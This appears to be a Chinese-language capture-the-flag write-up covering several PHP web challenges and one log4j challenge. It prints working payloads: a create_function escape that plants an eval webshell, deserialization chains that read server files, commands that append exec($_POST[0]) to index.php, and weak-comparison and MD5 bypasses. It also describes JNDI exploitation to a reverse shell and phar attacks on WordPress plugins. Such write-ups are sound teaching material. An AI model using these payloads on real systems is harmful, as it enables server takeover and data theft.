第六届安洵杯网络安全挑战赛
what's my name
题目是一个 RCE, 我们先贴出源码
<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
$sorter='strnatcasecmp';
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
}
else{
echo('Is That My Name?');
}
}
else{
echo("YOU Do Not Know What is My Name!");
}
可以看到我们可以逃逸掉 create_function
来进行 RCE, 我们先看看前面的 Checker 吧
最开始的 Regex 要求要有 include
, 且 include
前的字符数为 5 的倍数,
第二层判断为先会创建一个方法到 $miao
, 他的返回值为 \0lambda_数字
, 这个数字会随着每一次的请求递增, 他的后两位作为长度与 d0g3
比较.
我们先尝试构造一下 d0g3
, 使用逃逸 + 写马, 可以构造出:
%27%22],%22%22);}file_put_contents(%22eval.php%22,%20%27%3C?php%20eval($_POST[%22cmd%22]);%27);echo%20%22done%22;//12include
计算出长度为 92, 构造请求 payload
/?d0g3=%27%22],%22%22);}file_put_contents(%22eval.php%22,%20%27%3C?php%20eval($_POST[%22cmd%22]);%27);echo%20%22done%22;//12include&name=%00lambda_92
可以写一个 python 脚本请求直到返回 done
后结束, 脚本在此不赘述.
之后可以通过 AntSword
连接到 eval.php
, 可以找到 /home
下存在 1.sh
, 查看内容后可以找到如下脚本
#!/bin/bash
echo $ICTF > /flag
sed -i '284978r /flag' /var/www/html/admin.php
unset ICTF
rm /flag
apache2-foreground
此处将 flag 写到了 admin.php
中, 我们可以将其打开并读取 284978
行, 拿到 flag
easy_unserialize
简单的反序列化
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;
public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}
public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()
{
$new = $this->l1;
return $new();
}
public function __get($arg1)
{
$this->ll2->ll2('b2');
}
public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}
class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}
可以看到关键点是 new
了对象, 考虑原生类利用. 利用 DirectoryIterator
和 SplFileObject
来读取目录和文件.
我们先分析反序列化链, 最终利用点是 flag 类的函数化调用, 我们可以看到 Luck
的 __toString
进行了此类操作, 继续寻找字符操作点, 可以发现 Luck
中的 md5
, 此时需要 unset
, 可以找到 You
的 wakeup
中存在, 由此. 构造出反序列化链
此链子算是比较简洁的一条了吧, 我看官方的好像要复杂一点, 本题目存在很多非预期
$flag = new Flag();
$flag->DirectoryIterator = '/';
$luck = new Luck('');
$you = new You();
$luck->l1 = $flag;
$luck->md5 = $luck;
$you->y1 = $luck;
echo urlencode(serialize($you));
关注到 FfffLlllLaAaaggGgGg
, 再次构造
$flag = new Flag();
$flag->SplFileObject = '/FfffLlllLaAaaggGgGg';
$luck = new Luck('');
$you = new You();
$luck->l1 = $flag;
$luck->md5 = $luck;
$you->y1 = $luck;
echo urlencode(serialize($you));
得到 flag
NCTF
logging
一个简单的 log4j, 但是要找到漏洞点却需要找一会儿.
通过使用 Burp 来对 Header 进行 fuzz, 同时配合 dnslog 可以发现到 Accept 的时候报错, 同时 dnslog 抓到解析记录
由于某些原因, 此题未留图
我们发现服务端使用 Java 1.8, 于是直接 JNDI-Exploit 一把梭反弹到 Shell
Wordpress (题目名称已经忘记)
这道题类似于一个真实环境下的 WordPress 插件漏洞利用
一共有两个可利用插件, 一个 drag-and-drop-multiple-file-upload-contact-form-7
来进行文件上传, 参考文章 wpscan
All-in-One Video Gallery
进行任意文件读写, 参考文章, 这个可以通过 phar 协议进行反序列化攻击 (还真遇到了, 淦!)
我们先通过 phpggc 构造一个恶意 phar, 可以直接打 WordPress 的 RCE
链子
构造 payload 进行上传
再利用插件进行文件引用
NSSCTF Round#16 Basic
RCE但是没有完全RCE
进入之后, 可以看到:
<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
echo $level2;
} else {
echo "您!!!!!那么现在阁下又该如何应对呢";
}
} else {
echo "还在用传统方法????";
}
} else {
echo "来做做熟悉的MD5~";
}
md5_1
和 md5_2
采用 fastcoll
绕过, md5_3
使用数组绕过, 拿到下一步地址 /3z_RC3.php
<?php
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){
die("Hacker!!!!!!!!");
}
eval($shell($cmd));
此题为不允许指定字符的 RCE, 我打的可能非预期.
我们可以先用 dir
指令来看看目录, 发现根目录下的 /flag
由于过滤掉了 ?
, 导致不方便写 RCE, 考虑自己写一个任意 RCE, 但是马里面会包含 <?php
, 问号被过滤, 考虑用它原本就有的 index.php
追加到后面, 直接可以写马
构造参数 cmd
为 echo "exec(\$_POST[0]);" >> index.php
, shell
为任意执行函数, 即可将exec 写到 index.php
此时 index.php 中为无限制 RCE, 接下来方法就很多了.
你可以直接 cp /flag ./flag
拿 flag
我第一次的时候脑袋有点笨, 打了一个 passthru echo passthru(\$_POST[0]);" >> index.php
, 之后为简单回显 RCE
了解过PHP特性吗
此题利用的大量弱比较特性
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}
第一个 checker 要求 num 中不包含数字但 intval
之后为 1, 此处利用非空数组 intval
后为1绕过, 构造 num[]=1
第二个 checker 要求一个字母串和一个数字的 MD5 值相同 (注意 reversed), 我们简单搜索可知 240610708
和 QNKCDZO
满足, 第二个checker绕过
第三个要求 114
长度小于等于3但大于114514, 考虑采用科学计数法, 直接 9e9
拉满, 而 514
则要求 is_numeric 为 false 但大于 9999999999, 考虑使用字母拼接 999999999999abc
第四个是在遍历数组要求不存在 NSS, 同时进行了转换, 之后进行 array_search
, array_search
中存在弱类型比较, 于是构造 arr4y[]=0
, 由于相当于 0==NSS
, 返回 true, 最终拿下, 得到二阶段地址
二阶段是一个 create_function
的绕过, 于是我们构造一下
echo 1;}; var_dump(file_put_contents('a.php', '<?php eval($_POST[0]);')); //
即可写马, 使用 AntSword 连接即可